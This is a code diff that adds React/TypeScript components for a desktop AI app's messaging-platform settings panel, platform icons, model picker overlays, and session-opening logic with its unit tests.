+                description={user.user_name ? user.user_id : undefined}
+                key={pairingKey(user)}
+                title={pairingLabel(user)}
+              />
+            ))}
+          </div>
+        </section>
+      )}
+
+      <section>
+        <SectionTitle>{m.getCredentials}</SectionTitle>
+        <p className="mt-1 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+          {introCopy(platform, m)}
+        </p>
+        {platform.docs_url && (
+          <div className="mt-3">
+            <Button asChild size="sm" variant="textStrong">
+              <a
+                href={platform.docs_url}
+                onClick={event => {
+                  // Route through the validated external opener instead of
+                  // letting Electron resolve the anchor. A packaged build's
+                  // empty/relative href resolves to the app's own
+                  // index.html file path, which shell.openPath then fails to
+                  // open ("file not found"). Plugin platforms (Teams, etc.)
+                  // ship no docs_url, so this guard + handler keeps the
+                  // button from ever pointing at a local bundle path.
+                  event.preventDefault()
+                  openExternalLink(platform.docs_url)
+                }}
+                rel="noreferrer"
+                target="_blank"
+              >
+                {m.openSetupGuide}
+                <ExternalLink className="size-3.5" />
+              </a>
+            </Button>
+          </div>
+        )}
+      </section>
+
+      <section>
+        <SectionTitle>{m.required}</SectionTitle>
+        <div className="mt-3 grid gap-1">
+          {requiredFields.length > 0 ? (
+            requiredFields.map(field => (
+              <MessagingField
+                edits={edits}
+                field={field}
+                key={field.key}
+                onClear={onClear}
+                onEdit={onEdit}
+                saving={saving}
+              />
+            ))
+          ) : (
+            <p className="text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+              {m.noTokenNeeded}
+            </p>
+          )}
+        </div>
+      </section>
+
+      {optionalFields.length > 0 && (
+        <section>
+          <SectionTitle>{m.recommended}</SectionTitle>
+          <div className="mt-3 grid gap-1">
+            {optionalFields.map(field => (
+              <MessagingField
+                edits={edits}
+                field={field}
+                key={field.key}
+                onClear={onClear}
+                onEdit={onEdit}
+                saving={saving}
+              />
+            ))}
+          </div>
+        </section>
+      )}
+
+      {hiddenCount > 0 && (
+        <section>
+          <button
+            className="flex w-full items-center justify-between gap-2 py-0.5 text-left text-[0.7rem] font-semibold uppercase tracking-[0.14em] text-muted-foreground transition-colors hover:text-foreground"
+            onClick={() => setShowAdvanced(value => !value)}
+            type="button"
+          >
+            <span>{m.advanced(hiddenCount)}</span>
+            <DisclosureCaret open={showAdvanced} size="0.875rem" />
+          </button>
+          {showAdvanced && (
+            <div className="mt-3 grid gap-1">
+              {advancedFields.map(field => (
+                <MessagingField
+                  edits={edits}
+                  field={field}
+                  key={field.key}
+                  onClear={onClear}
+                  onEdit={onEdit}
+                  saving={saving}
+                />
+              ))}
+            </div>
+          )}
+        </section>
+      )}
+    </>
+  )
+}
+
+function PlatformActionBar({
+  hasEdits,
+  onSave,
+  onToggle,
+  platform,
+  saving
+}: {
+  hasEdits: boolean
+  onSave: () => void
+  onToggle: (enabled: boolean) => void
+  platform: MessagingPlatformInfo
+  saving: string | null
+}) {
+  const { t } = useI18n()
+  const m = t.messaging
+  const isSavingEnv = saving === `env:${platform.id}`
+
+  return (
+    <>
+      <Switch
+        aria-label={platform.enabled ? m.disableAria(platform.name) : m.enableAria(platform.name)}
+        checked={platform.enabled}
+        disabled={saving === `enabled:${platform.id}`}
+        onCheckedChange={onToggle}
+        size="xs"
+      />
+
+      <div className="ml-auto flex items-center gap-2">
+        {hasEdits && <span className="text-xs text-muted-foreground">{m.unsavedChanges}</span>}
+        <Button disabled={!hasEdits || isSavingEnv} onClick={onSave} size="sm">
+          <Save />
+          {isSavingEnv ? m.saving : m.saveChanges}
+        </Button>
+      </div>
+    </>
+  )
+}
+
+const PLATFORM_INTRO: Record<string, string> = {
+  telegram:
+    'In Telegram, talk to @BotFather, run /newbot, and copy the token it gives you. Then grab your numeric user ID from @userinfobot.',
+  discord:
+    'Open the Discord Developer Portal, create an application, add a Bot, then copy its token. Invite the bot to your server with the right scopes.',
+  slack:
+    'Create a Slack app, enable Socket Mode, install it to your workspace, then copy the bot token and app-level token.',
+  mattermost:
+    'On your Mattermost server, create a bot account or personal access token, then paste the server URL and token here.',
+  matrix: 'Sign in to your homeserver with the bot account, then copy the access token, user ID, and homeserver URL.',
+  signal:
+    'Run a signal-cli REST bridge somewhere reachable, then point ClawCodex at the URL and the registered phone number.',
+  whatsapp:
+    'Start the WhatsApp bridge that ships with ClawCodex, scan the QR code on first run, then enable the platform.',
+  bluebubbles:
+    'Run BlueBubbles Server on a Mac with iMessage, expose its API, then point ClawCodex at the URL with the server password.',
+  homeassistant:
+    'In Home Assistant, open your profile and create a long-lived access token. Paste it here along with your HA URL.',
+  email:
+    'Use a dedicated mailbox. For Gmail/Workspace, create an app password and use imap.gmail.com / smtp.gmail.com.',
+  sms: 'Get your Twilio Account SID and Auth Token from the Twilio console, plus a phone number that can send SMS.',
+  dingtalk: 'Create a DingTalk app in the developer console, then copy the Client ID (App key) and Client Secret here.',
+  feishu:
+    'Create a Feishu / Lark app, configure the bot capability, and copy the App ID, App secret, and event encryption keys.',
+  wecom:
+    'Add a group robot in WeCom and copy its webhook key as WECOM_BOT_ID. Send-only — use the WeCom (app) option for two-way.',
+  wecom_callback:
+    'Set up a WeCom self-built app, expose its callback URL, and provide the corp ID, secret, agent ID, and AES key.',
+  weixin:
+    "Run `clawcodex gateway setup`, select Weixin, then scan and confirm the QR code with a personal WeChat account. ClawCodex connects through Tencent's iLink Bot API and saves the credentials.",
+  qqbot: 'Register an app on the QQ Open Platform (q.qq.com) and copy the App ID and Client Secret.',
+  api_server:
+    'Expose ClawCodex as an OpenAI-compatible API. Set an auth key, then point Open WebUI / LobeChat / etc. at the host:port.',
+  webhook:
+    'Run an HTTP server that other tools (GitHub, GitLab, custom apps) can POST to. Use the secret to verify signatures.'
+}
+
+const introCopy = (platform: MessagingPlatformInfo, m: Translations['messaging']) =>
+  m.platformIntro[platform.id] || PLATFORM_INTRO[platform.id] || platform.description
+
+function MessagingField({
+  edits,
+  field,
+  onClear,
+  onEdit,
+  saving
+}: {
+  edits: Record<string, string>
+  field: MessagingEnvVarInfo
+  onClear: (key: string) => void
+  onEdit: (key: string, value: string) => void
+  saving: string | null
+}) {
+  const { t } = useI18n()
+  const m = t.messaging
+  const copy = fieldCopy(field, m)
+  const fieldId = `messaging-field-${field.key}`
+
+  return (
+    <ListRow
+      action={
+        <div className="flex items-center gap-2">
+          <Input
+            className={CREDENTIAL_CONTROL_CLASS}
+            id={fieldId}
+            onChange={event => onEdit(field.key, event.target.value)}
+            placeholder={field.is_set ? field.redacted_value || m.replaceValue : copy.placeholder}
+            type={field.is_password ? 'password' : 'text'}
+            value={edits[field.key] || ''}
+          />
+          {field.url && (
+            <Tip label={m.openDocs}>
+              <Button asChild className="size-8 shrink-0" variant="ghost">
+                <a href={field.url} rel="noreferrer" target="_blank">
+                  <ExternalLink className="size-3.5" />
+                </a>
+              </Button>
+            </Tip>
+          )}
+          {field.is_set && (
+            <Tip label={m.clearField(field.key)}>
+              <Button
+                className="size-8 shrink-0"
+                disabled={saving === `clear:${field.key}`}
+                onClick={() => onClear(field.key)}
+                variant="ghost"
+              >
+                <Trash2 className="size-3.5" />
+              </Button>
+            </Tip>
+          )}
+        </div>
+      }
+      description={copy.help}
+      title={
+        <span className="flex flex-wrap items-center gap-2">
+          <label htmlFor={fieldId}>{copy.label}</label>
+          {field.is_set && <span className="text-[0.66rem] font-medium text-primary">{m.saved}</span>}
+        </span>
+      }
+    />
+  )
+}
+
+function SectionTitle({ children }: { children: React.ReactNode }) {
+  return <h4 className="text-[0.7rem] font-semibold uppercase tracking-[0.14em] text-muted-foreground">{children}</h4>
+}
+
+function PlatformHint({ platform }: { platform: MessagingPlatformInfo }) {
+  const { t } = useI18n()
+
+  if (!platform.enabled || platform.state === 'connected') {
+    return null
+  }
+
+  const hint =
+    platform.state === 'pending_restart'
+      ? t.messaging.hintPendingRestart
+      : platform.gateway_running
+        ? null
+        : t.messaging.hintGatewayStopped
+
+  return hint ? <p className="mt-2 text-xs leading-5 text-muted-foreground">{hint}</p> : null
+}
+
+function StatePill({ children, tone }: { children: string; tone: StatusTone }) {
+  return (
+    <span
+      className={cn(
+        'inline-flex shrink-0 items-center gap-1.5 rounded-full px-2 py-0.5 text-[0.66rem] font-medium',
+        PILL_TONE[tone]
+      )}
+    >
+      <StatusDot tone={tone} />
+      {children}
+    </span>
+  )
+}
+
+function SetupPill({ active, children }: { active: boolean; children: string }) {
+  return (
+    <span
+      className={cn(
+        'inline-flex items-center rounded-full px-2 py-0.5 text-[0.66rem] font-medium',
+        PILL_TONE[active ? 'good' : 'muted']
+      )}
+    >
+      {children}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/app/messaging/platform-icon.tsx b/ui-desktop/src/app/messaging/platform-icon.tsx
new file mode 100644
index 000000000..7102f848f
--- /dev/null
+++ b/ui-desktop/src/app/messaging/platform-icon.tsx
@@ -0,0 +1,131 @@
+import {
+  SiApple,
+  SiBilibili,
+  SiDiscord,
+  SiGmail,
+  SiHomeassistant,
+  SiMatrix,
+  SiMattermost,
+  SiQq,
+  SiSignal,
+  SiTelegram,
+  SiWechat,
+  SiWhatsapp
+} from '@icons-pack/react-simple-icons'
+import type { ComponentPropsWithoutRef, ComponentType, SVGProps } from 'react'
+import { forwardRef, memo } from 'react'
+
+import { Globe, Link as LinkIcon, MessageSquareText } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+// ---------------------------------------------------------------------------
+// Photon brand icon — three diagonal rounded bars (the Photon logo mark).
+// Rendered at ~14 px inside the PlatformAvatar so the bars are kept thick
+// enough to stay legible. At small sizes the bars blend into a distinctive
+// silhouette; the wide triangular spacing preserves the logo's identity.
+// ---------------------------------------------------------------------------
+function PhotonIcon(props: React.SVGProps<SVGSVGElement>) {
+  return (
+    <svg fill="currentColor" viewBox="0 0 24 24" {...props}>
+      <rect height="10" rx="1.25" transform="rotate(15 14 7.5)" width="2.5" x="12.75" y="2.5" />
+      <rect height="10" rx="1.25" transform="rotate(15 8 13)" width="2.5" x="6.75" y="8" />
+      <rect height="10" rx="1.25" transform="rotate(15 16 18)" width="2.5" x="14.75" y="13" />
+    </svg>
+  )
+}
+
+// We render simpleicons.org brand glyphs for platforms whose owners publish a
+// usable mark (telegram, discord, matrix, ...). A few brands — Slack, Dingtalk,
+// Feishu, WeCom — have been removed from Simple Icons at the brand owner's
+// request, so we fall back to a colored letter monogram for those.
+//
+// `iconColor` is the brand's hex from simpleicons.org so we can paint each
+// glyph in its native color on top of a soft tint. The fallback monogram uses
+// the same hex to keep visual consistency.
+type IconKind = 'brand' | 'generic'
+
+interface PlatformIconSpec {
+  Icon?: ComponentType<SVGProps<SVGSVGElement>>
+  color: string
+  kind: IconKind
+  monogram?: string
+}
+
+const PLATFORM_ICONS: Record<string, PlatformIconSpec> = {
+  telegram: { Icon: SiTelegram, color: '#26A5E4', kind: 'brand' },
+  discord: { Icon: SiDiscord, color: '#5865F2', kind: 'brand' },
+  // Slack removed from Simple Icons by Salesforce request — letter monogram.
+  slack: { color: '#4A154B', kind: 'brand', monogram: 'S' },
+  mattermost: { Icon: SiMattermost, color: '#0058CC', kind: 'brand' },
+  matrix: { Icon: SiMatrix, color: '#000000', kind: 'brand' },
+  signal: { Icon: SiSignal, color: '#3A76F0', kind: 'brand' },
+  whatsapp: { Icon: SiWhatsapp, color: '#25D366', kind: 'brand' },
+  bluebubbles: { Icon: SiApple, color: '#0BD318', kind: 'brand' },
+  photon: { Icon: PhotonIcon, color: '#6366F1', kind: 'brand' },
+  homeassistant: { Icon: SiHomeassistant, color: '#18BCF2', kind: 'brand' },
+  email: { Icon: SiGmail, color: '#EA4335', kind: 'brand' },
+  sms: { Icon: MessageSquareText, color: '#F43F5E', kind: 'generic' },
+  webhook: { Icon: LinkIcon, color: '#71717A', kind: 'generic' },
+  api_server: { Icon: Globe, color: '#64748B', kind: 'generic' },
+  weixin: { Icon: SiWechat, color: '#07C160', kind: 'brand' },
+  qqbot: { Icon: SiQq, color: '#EB1923', kind: 'brand' },
+  yuanbao: { Icon: SiBilibili, color: '#FB7299', kind: 'brand' }
+}
+
+interface PlatformAvatarProps extends Omit<ComponentPropsWithoutRef<'span'>, 'children'> {
+  platformId: string
+  platformName: string
+}
+
+// forwardRef + spreading ...rest is required so a wrapping <Tip> (Radix
+// Tooltip's `asChild`) can actually attach its trigger: asChild clones this
+// component and injects a ref plus pointer/focus/aria handlers onto it. A
+// plain function component with no ref/rest forwarding drops all of that
+// silently — the tooltip renders but never opens (#67500).
+export const PlatformAvatar = memo(
+  forwardRef<HTMLSpanElement, PlatformAvatarProps>(function PlatformAvatar(
+    { className, platformId, platformName, style, ...rest },
+    ref
+  ) {
+    const spec = PLATFORM_ICONS[platformId]
+
+    const baseClass = cn(
+      'inline-grid size-6 shrink-0 place-items-center rounded-md text-[length:var(--conversation-caption-font-size)] font-medium',
+      className
+    )
+
+    if (!spec) {
+      return (
+        <span
+          aria-hidden="true"
+          className={cn(baseClass, 'bg-(--ui-bg-tertiary) text-(--ui-text-tertiary)')}
+          ref={ref}
+          style={style}
+          {...rest}
+        >
+          {platformName.charAt(0).toUpperCase()}
+        </span>
+      )
+    }
+
+    const { Icon, color } = spec
+
+    return (
+      <span
+        aria-hidden="true"
+        className={baseClass}
+        ref={ref}
+        style={{
+          // 16% tint of the brand color so the glyph reads against any surface
+          // without the avatar dominating the row.
+          backgroundColor: `color-mix(in srgb, ${color} 16%, transparent)`,
+          color,
+          ...style
+        }}
+        {...rest}
+      >
+        {Icon ? <Icon className="size-3.5" /> : spec.monogram || platformName.charAt(0).toUpperCase()}
+      </span>
+    )
+  })
+)
diff --git a/ui-desktop/src/app/model-picker-overlay.tsx b/ui-desktop/src/app/model-picker-overlay.tsx
new file mode 100644
index 000000000..97a27ed88
--- /dev/null
+++ b/ui-desktop/src/app/model-picker-overlay.tsx
@@ -0,0 +1,61 @@
+import { useStore } from '@nanostores/react'
+
+import type { ModelSelection } from '@/app/shell/model-menu-panel'
+import type { ClawCodexGateway } from '@/clawcodex'
+import { ModelPickerDialog } from '@/components/model-picker'
+import { useStoreSelector } from '@/lib/use-session-slice'
+import {
+  $activeSessionId,
+  $currentModel,
+  $currentProvider,
+  $gatewayState,
+  $modelPickerOpen,
+  setModelPickerOpen
+} from '@/store/session'
+import { $focusedRuntimeId, $focusedSessionState } from '@/store/session-states'
+
+interface ModelPickerOverlayProps {
+  gateway?: ClawCodexGateway
+  onSelect: (selection: ModelSelection) => void
+  profile: string
+}
+
+export function ModelPickerOverlay({ gateway, onSelect, profile }: ModelPickerOverlayProps) {
+  const primarySessionId = useStore($activeSessionId)
+  const primaryModel = useStore($currentModel)
+  const primaryProvider = useStore($currentProvider)
+  const focusedRuntimeId = useStore($focusedRuntimeId)
+  // `$focusedSessionState` is a projection of `$sessionStates`, republished on
+  // EVERY message delta — and this overlay is mounted app-wide. Only two
+  // fields are read off it, so subscribing to the whole object re-rendered
+  // this component (and the un-memoized closed dialog below) per token while
+  // the focused session streamed. Select each scalar so an unchanged
+  // model/provider bails out instead — same fix as the statusbar (#72163).
+  const focusedModel = useStoreSelector($focusedSessionState, state => state?.model ?? null)
+  const focusedProvider = useStoreSelector($focusedSessionState, state => state?.provider ?? null)
+  const gatewayOpen = useStore($gatewayState) === 'open'
+  const open = useStore($modelPickerOpen)
+
+  // Prefer the focused tile's runtime when the overlay opens from a tile that
+  // lacked a live menu (gateway closed → fallback path).
+  const sessionId = focusedRuntimeId ?? primarySessionId
+  const currentModel = focusedRuntimeId && focusedModel !== null ? focusedModel : primaryModel
+  const currentProvider = focusedRuntimeId && focusedProvider !== null ? focusedProvider : primaryProvider
+
+  if (!gatewayOpen) {
+    return null
+  }
+
+  return (
+    <ModelPickerDialog
+      currentModel={currentModel}
+      currentProvider={currentProvider}
+      gw={gateway}
+      onOpenChange={setModelPickerOpen}
+      onSelect={selection => onSelect({ ...selection, sessionId })}
+      open={open}
+      profile={profile}
+      sessionId={sessionId}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/model-visibility-overlay.tsx b/ui-desktop/src/app/model-visibility-overlay.tsx
new file mode 100644
index 000000000..34a7b7386
--- /dev/null
+++ b/ui-desktop/src/app/model-visibility-overlay.tsx
@@ -0,0 +1,33 @@
+import { useStore } from '@nanostores/react'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { ModelVisibilityDialog } from '@/components/model-visibility-dialog'
+import { $modelVisibilityOpen, setModelVisibilityOpen } from '@/store/model-visibility'
+import { $activeSessionId, $gatewayState } from '@/store/session'
+
+interface ModelVisibilityOverlayProps {
+  gateway?: ClawCodexGateway
+  onOpenProviders: () => void
+  profile: string
+}
+
+export function ModelVisibilityOverlay({ gateway, onOpenProviders, profile }: ModelVisibilityOverlayProps) {
+  const activeSessionId = useStore($activeSessionId)
+  const gatewayOpen = useStore($gatewayState) === 'open'
+  const open = useStore($modelVisibilityOpen)
+
+  if (!gatewayOpen) {
+    return null
+  }
+
+  return (
+    <ModelVisibilityDialog
+      gw={gateway}
+      onOpenChange={setModelVisibilityOpen}
+      onOpenProviders={onOpenProviders}
+      open={open}
+      profile={profile}
+      sessionId={activeSessionId}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/open-session.test.ts b/ui-desktop/src/app/open-session.test.ts
new file mode 100644
index 000000000..5f790faee
--- /dev/null
+++ b/ui-desktop/src/app/open-session.test.ts
@@ -0,0 +1,206 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const focusOpenSession = vi.fn()
+const openSessionTile = vi.fn()
+const reuseBlankDraftTile = vi.fn()
+const openSessionInNewWindow = vi.fn()
+const canOpenSessionWindow = vi.fn(() => true)
+const workspaceIsPageGet = vi.fn(() => false)
+
+vi.mock('@/store/session-states', () => ({
+  focusedSessionNeedsRoute: (focused: 'main' | 'tile' | null, workspaceIsPage: boolean) =>
+    !focused || (focused === 'main' && workspaceIsPage),
+  focusOpenSession: (...args: unknown[]) => focusOpenSession(...args),
+  openSessionTile: (...args: unknown[]) => openSessionTile(...args),
+  reuseBlankDraftTile: (...args: unknown[]) => reuseBlankDraftTile(...args)
+}))
+
+vi.mock('@/store/windows', () => ({
+  canOpenSessionWindow: () => canOpenSessionWindow(),
+  openSessionInNewWindow: (...args: unknown[]) => openSessionInNewWindow(...args)
+}))
+
+vi.mock('./routes', () => ({
+  $workspaceIsPage: { get: () => workspaceIsPageGet() },
+  sessionRoute: (id: string) => `/c/${encodeURIComponent(id)}`
+}))
+
+import { $activeSessionId, $selectedStoredSessionId } from '@/store/session'
+
+import { mainChatOccupied, openSession, openSessionIntentFromModifiers } from './open-session'
+
+/**
+ * The question behind both the sidebar "+" and a palette open: is there a
+ * conversation on main that must not be discarded? A create affordance stacks a
+ * tab rather than replacing a chat that may still be mid-turn, and an open from
+ * nowhere does the same.
+ */
+describe('mainChatOccupied', () => {
+  it('is occupied once a conversation is on screen', () => {
+    expect(mainChatOccupied('runtime-a', 'stored-a')).toBe(true)
+  })
+
+  it('is occupied by a live runtime whose stored id has not landed yet', () => {
+    expect(mainChatOccupied('runtime-a', null)).toBe(true)
+  })
+
+  it('is occupied by a selected session still resuming into a runtime', () => {
+    expect(mainChatOccupied(null, 'stored-a')).toBe(true)
+  })
+
+  it('is free when nothing is open', () => {
+    expect(mainChatOccupied(null, null)).toBe(false)
+  })
+})
+
+describe('openSessionIntentFromModifiers', () => {
+  it('defaults to in-place', () => {
+    expect(openSessionIntentFromModifiers()).toBe('in-place')
+    expect(openSessionIntentFromModifiers(null)).toBe('in-place')
+    expect(openSessionIntentFromModifiers({})).toBe('in-place')
+  })
+
+  it('returns the caller base for an unmodified select', () => {
+    expect(openSessionIntentFromModifiers(undefined, 'stack')).toBe('stack')
+    expect(openSessionIntentFromModifiers({}, 'stack')).toBe('stack')
+  })
+
+  it('reads ⌘/⌃ as tab and ⇧+mod as window', () => {
+    expect(openSessionIntentFromModifiers({ metaKey: true })).toBe('tab')
+    expect(openSessionIntentFromModifiers({ ctrlKey: true })).toBe('tab')
+    expect(openSessionIntentFromModifiers({ metaKey: true, shiftKey: true })).toBe('window')
+    expect(openSessionIntentFromModifiers({ shiftKey: true })).toBe('in-place')
+  })
+
+  it('lets modifiers override the base', () => {
+    expect(openSessionIntentFromModifiers({ metaKey: true }, 'stack')).toBe('tab')
+    expect(openSessionIntentFromModifiers({ metaKey: true, shiftKey: true }, 'stack')).toBe('window')
+  })
+})
+
+describe('openSession', () => {
+  const navigate = vi.fn()
+
+  beforeEach(() => {
+    navigate.mockClear()
+    focusOpenSession.mockReset()
+    openSessionTile.mockReset()
+    openSessionInNewWindow.mockReset()
+    canOpenSessionWindow.mockReturnValue(true)
+    workspaceIsPageGet.mockReturnValue(false)
+    reuseBlankDraftTile.mockReset()
+    $activeSessionId.set(null)
+    $selectedStoredSessionId.set(null)
+  })
+
+  it('in-place focuses an existing tile and does not navigate', () => {
+    focusOpenSession.mockReturnValue('tile')
+    openSession('s1', navigate)
+    expect(focusOpenSession).toHaveBeenCalledWith('s1')
+    expect(navigate).not.toHaveBeenCalled()
+    expect(openSessionTile).not.toHaveBeenCalled()
+  })
+
+  it('in-place focuses main when already selected and not on a page', () => {
+    focusOpenSession.mockReturnValue('main')
+    openSession('s1', navigate)
+    expect(navigate).not.toHaveBeenCalled()
+  })
+
+  it('in-place routes when the main session is covered by a page', () => {
+    focusOpenSession.mockReturnValue('main')
+    workspaceIsPageGet.mockReturnValue(true)
+    openSession('s1', navigate)
+    expect(navigate).toHaveBeenCalledWith('/c/s1')
+  })
+
+  it('in-place routes when the session is not on screen', () => {
+    focusOpenSession.mockReturnValue(null)
+    openSession('s1', navigate)
+    expect(navigate).toHaveBeenCalledWith('/c/s1')
+  })
+
+  it('tab focuses an existing open session instead of stacking another', () => {
+    focusOpenSession.mockReturnValue('tile')
+    openSession('s1', navigate, 'tab')
+    expect(focusOpenSession).toHaveBeenCalledWith('s1')
+    expect(openSessionTile).not.toHaveBeenCalled()
+    expect(navigate).not.toHaveBeenCalled()
+  })
+
+  it('tab opens a stacked session tile when not on screen', () => {
+    focusOpenSession.mockReturnValue(null)
+    openSession('s1', navigate, 'tab')
+    expect(openSessionTile).toHaveBeenCalledWith('s1', 'center')
+    expect(navigate).not.toHaveBeenCalled()
+  })
+
+  it('stack focuses a session that is already on screen', () => {
+    $selectedStoredSessionId.set('s0')
+    focusOpenSession.mockReturnValue('tile')
+    openSession('s1', navigate, 'stack')
+    expect(openSessionTile).not.toHaveBeenCalled()
+    expect(navigate).not.toHaveBeenCalled()
+  })
+
+  it('stack opens a tab rather than taking main from a loaded chat', () => {
+    $selectedStoredSessionId.set('s0')
+    focusOpenSession.mockReturnValue(null)
+    openSession('s1', navigate, 'stack')
+    expect(openSessionTile).toHaveBeenCalledWith('s1', 'center')
+    expect(navigate).not.toHaveBeenCalled()
+  })
+
+  it('stack spends an open blank draft tab before stacking a new one', () => {
+    $selectedStoredSessionId.set('s0')
+    focusOpenSession.mockReturnValue(null)
+    reuseBlankDraftTile.mockReturnValue(true)
+    openSession('s1', navigate, 'stack')
+    expect(reuseBlankDraftTile).toHaveBeenCalledWith('s1')
+    expect(openSessionTile).not.toHaveBeenCalled()
+    expect(navigate).not.toHaveBeenCalled()
+  })
+
+  it('stack prefers the session already on screen over a blank draft tab', () => {
+    $selectedStoredSessionId.set('s0')
+    focusOpenSession.mockReturnValue('tile')
+    reuseBlankDraftTile.mockReturnValue(true)
+    openSession('s1', navigate, 'stack')
+    expect(reuseBlankDraftTile).not.toHaveBeenCalled()
+    expect(openSessionTile).not.toHaveBeenCalled()
+  })
+
+  it('stack opens a tab while main is mid-turn on an unsaved session', () => {
+    $activeSessionId.set('runtime-a')
+    focusOpenSession.mockReturnValue(null)
+    openSession('s1', navigate, 'stack')
+    expect(openSessionTile).toHaveBeenCalledWith('s1', 'center')
+  })
+
+  it('stack loads into main when it holds only a blank draft', () => {
+    focusOpenSession.mockReturnValue(null)
+    openSession('s1', navigate, 'stack')
+    expect(navigate).toHaveBeenCalledWith('/c/s1')
+    expect(openSessionTile).not.toHaveBeenCalled()
+  })
+
+  it('window pops out when the bridge supports it', () => {
+    openSession('s1', navigate, 'window')
+    expect(openSessionInNewWindow).toHaveBeenCalledWith('s1')
+    expect(openSessionTile).not.toHaveBeenCalled()
+  })
+
+  it('window falls back to a tab when pop-out is unavailable', () => {
+    canOpenSessionWindow.mockReturnValue(false)
+    focusOpenSession.mockReturnValue(null)
+    openSession('s1', navigate, 'window')
+    expect(openSessionInNewWindow).not.toHaveBeenCalled()
+    expect(openSessionTile).toHaveBeenCalledWith('s1', 'center')
+  })
+
+  it('no-ops on an empty id', () => {
+    openSession('', navigate)
+    expect(navigate).not.toHaveBeenCalled()
+    expect(focusOpenSession).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/open-session.ts b/ui-desktop/src/app/open-session.ts
new file mode 100644
index 000000000..94cec331f
--- /dev/null
+++ b/ui-desktop/src/app/open-session.ts
@@ -0,0 +1,132 @@
+/**
+ * One door for "open this session" — every surface (sidebar, ⌘K, notifications,
+ * session switcher, refs, cron/artifacts) goes through here so a chat that's
+ * already a tile (or the main tab) is JUMPED TO instead of yanked into main.
+ *
+ * Intents:
+ *   - `in-place` (sidebar click / Enter) — focus existing tile/main if on
+ *     screen; else load into main (same as the left sessions sidebar).
+ *   - `stack` (⌘K, notifications — anything that opens a chat from outside the
+ *     workspace) — like `tab`, but may spend main or an open blank draft tab
+ *     when either is empty.
+ *   - `tab` (⌘/⌃-click / ⌘-Enter / session refs) — focus if already on screen,
+ *     else open as a stacked session tab (never steals main from under you).
+ *   - `window` (⇧⌘-click) — pop into its own window; falls back to `tab` when
+ *     the bridge has no session-window support.
+ */
+import { $activeSessionId, $selectedStoredSessionId } from '@/store/session'
+import {
+  focusedSessionNeedsRoute,
+  focusOpenSession,
+  openSessionTile,
+  reuseBlankDraftTile
+} from '@/store/session-states'
+import { canOpenSessionWindow, openSessionInNewWindow } from '@/store/windows'
+
+import { $workspaceIsPage, sessionRoute } from './routes'
+
+export type OpenSessionIntent = 'in-place' | 'stack' | 'tab' | 'window'
+
+export type OpenSessionNavigate = (to: string, options?: { replace?: boolean }) => void
+
+/**
+ * Is the main tab holding a conversation worth preserving?
+ *
+ * A loaded chat may still be mid-turn, so replacing it with something else
+ * throws away work the user can see. A blank draft has nothing to lose, which
+ * is what lets the sidebar "+" and a `stack` open take the cheaper main path
+ * instead of stacking a tab nobody asked for.
+ */
+export function mainChatOccupied(activeSessionId: null | string, selectedStoredSessionId: null | string): boolean {
+  return Boolean(activeSessionId || selectedStoredSessionId)
+}
+
+/** Read modifiers the way session rows do — meta OR ctrl for tab, +shift for
+ *  window. `base` is what an unmodified select means for the caller: the
+ *  sidebar spends main (`in-place`), a palette-style open doesn't (`stack`). */
+export function openSessionIntentFromModifiers(
+  event?: null | { ctrlKey?: boolean; metaKey?: boolean; shiftKey?: boolean },
+  base: OpenSessionIntent = 'in-place'
+): OpenSessionIntent {
+  if (!event) {
+    return base
+  }
+
+  const mod = Boolean(event.metaKey || event.ctrlKey)
+
+  if (mod && event.shiftKey) {
+    return 'window'
+  }
+
+  if (mod) {
+    return 'tab'
+  }
+
+  return base
+}
+
+/**
+ * @param navigate Required for `in-place` (route into main when not on screen).
+ *   `tab` / `window` ignore it — pass a no-op when you don't have a router handle.
+ */
+export function openSession(
+  storedSessionId: string,
+  navigate: OpenSessionNavigate,
+  intent: OpenSessionIntent = 'in-place'
+): void {
+  if (!storedSessionId) {
+    return
+  }
+
+  let resolved: OpenSessionIntent = intent
+
+  if (resolved === 'window') {
+    if (canOpenSessionWindow()) {
+      void openSessionInNewWindow(storedSessionId)
+
+      return
+    }
+
+    // No pop-out support → treat like a new tab.
+    resolved = 'tab'
+  }
+
+  // A `stack` open arrives from outside the workspace, so unlike a sidebar
+  // click it can't assume main is spendable: it behaves like `tab`, except main
+  // IS fair game while it's only a blank draft, and an already-open blank draft
+  // tab is spent before a new one is stacked.
+  let spendBlankDraft = false
+
+  if (resolved === 'stack') {
+    spendBlankDraft = mainChatOccupied($activeSessionId.get(), $selectedStoredSessionId.get())
+    resolved = spendBlankDraft ? 'tab' : 'in-place'
+  }
+
+  if (resolved === 'tab') {
+    // Already on screen? Front it. openSessionTile would no-op on main without
+    // focusing, or try to relocate an existing tile — neither is right for a
+    // soft "open beside" link.
+    if (focusOpenSession(storedSessionId)) {
+      return
+    }
+
+    // Nothing to jump to, but an open tab may still be an empty "New session" —
+    // that's the tab the user would have typed into, so spend it rather than
+    // stacking a second blank one beside it.
+    if (spendBlankDraft && reuseBlankDraftTile(storedSessionId)) {
+      return
+    }
+
+    openSessionTile(storedSessionId, 'center')
+
+    return
+  }
+
+  // Already on screen (open tile, or the main session)? Jump to its tab;
+  // otherwise load it into main. From a full page (artifacts, skills, …) a
+  // `'main'` hit still has to route back: fronting the workspace tab alone
+  // leaves the page showing.
+  if (focusedSessionNeedsRoute(focusOpenSession(storedSessionId), $workspaceIsPage.get())) {
+    navigate(sessionRoute(storedSessionId))
+  }
+}
diff --git a/ui-desktop/src/app/overlays/overlay-chrome.tsx b/ui-desktop/src/app/overlays/overlay-chrome.tsx
new file mode 100644
index 000000000..65bde4256
--- /dev/null
+++ b/ui-desktop/src/app/overlays/overlay-chrome.tsx
@@ -0,0 +1,24 @@
+import type { ButtonHTMLAttributes, ReactNode } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { cn } from '@/lib/utils'
+
+interface OverlayIconButtonProps extends ButtonHTMLAttributes<HTMLButtonElement> {
+  children: ReactNode
+}
+
+// Overlay chrome icon action — same titlebar-sized ghost button as the overlay
+// close (X), so footer/header actions read identically across breakpoints.
